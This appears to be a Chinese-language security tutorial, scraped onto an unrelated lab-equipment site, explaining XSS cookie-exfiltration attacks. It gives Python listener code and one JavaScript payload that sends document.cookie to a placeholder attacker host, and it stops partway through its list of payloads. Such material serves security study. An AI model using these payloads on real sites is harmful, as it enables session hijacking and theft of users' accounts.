【网络安全】XSS之Cookie外带攻击姿势及例题详析

您所在的位置:网站首页 cookie网络 【网络安全】XSS之Cookie外带攻击姿势及例题详析

【网络安全】XSS之Cookie外带攻击姿势及例题详析

2024-07-09 13:28:12| 来源: 网络整理| 查看: 265

文章目录 概念启动HTTP协议 method1启动HTTP协议 method2 例题详析Payload1Payload2window.open 总结

概念

XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息。

在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址

启动HTTP协议 method1

本文使用本机起IP地址

1.使用文本编辑器(例如 Sublime Text、VS Code 等)创建一个新的 Python 文件。

2.导入 socket 库。socket 库是 Python 标准库的一部分,提供了网络编程相关的 API 和函数。

import socket

3.选择一个主机地址和端口号来监听连接请求。主机地址可以是 IP 地址或域名。

HOST = 'localhost' # 或者使用本机的 IP 地址,如 '192.168.1.2' PORT = 8000 #或2023、2020

4.使用 socket() 函数来创建一个 socket 对象,并指定协议族(例如 AF_INET),以及套接字类型(例如 SOCK_STREAM)。

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

5.绑定主机地址和端口号到 socket 对象上。可以使用 bind() 函数。

server_socket.bind((HOST, PORT))

6.开始监听连接请求。可以使用 listen() 函数来开始监听连接请求。传入的参数表示最大等待连接数。

server_socket.listen(2)

综合起来,一个简单的启动 IP 地址的 Python 代码如下所示:

import socket HOST = '本机IP地址' PORT = 2022 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM) server_socket.bind((HOST, PORT)) # 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它 server_socket.listen(1) print('等待客户端连接...') # 接受客户端连接 client_socket, addr = server_socket.accept() print('客户端已连接:', addr) # 接收客户端发送的数据 data = client_socket.recv(1024) print('接收到数据:', data.decode()) # 将接收到的数据原样返回给客户端 client_socket.sendall(data) # 关闭客户端连接 client_socket.close() # 使用 close() 方法关闭套接字并释放所有相关的资源; # 关闭服务器套接字 server_socket.close() # 使用 close() 方法关闭套接字并释放所有相关的资源。

一旦有客户端连接,accept() 方法会返回一个新的客户端套接字和客户端地址信息(包括 IP 地址和端口号)

recv() 方法会阻塞程序,直到有数据可用或者超时,然后将接收到的数据作为 Python 字节对象返回。在本例中,客户端发送的数据最大为 1024 字节;

将接收到的数据原样发送回客户端,使用 sendall() 方法向客户端套接字写入数据。

注意,sendall() 方法保证能够将所有数据发送出去,因此不需要循环调用其它方法来确保消息完整发送

接着,执行该文件。

最后,在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie,监听的端口即可接收。

启动HTTP协议 method2

打开python2终端输入:

python2 -m SimpleHTTPServer 8080(端口号)

打开python3终端输入:

python3 -m http.server 8080(端口号)

即可监听8080端口,接受XSS语句外带的Cookie

以下是一些常见的 XSS 的 Cookie 外带攻击语句:

1.利用 document.cookie 获取当前域下所有 cookie 的值:

new Image().src="http://attacker-site.com/cookie.php?cookie="+document.cookie;

2.将当前页面的 URL 和 Cookie 发送到攻击者的服务器:



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭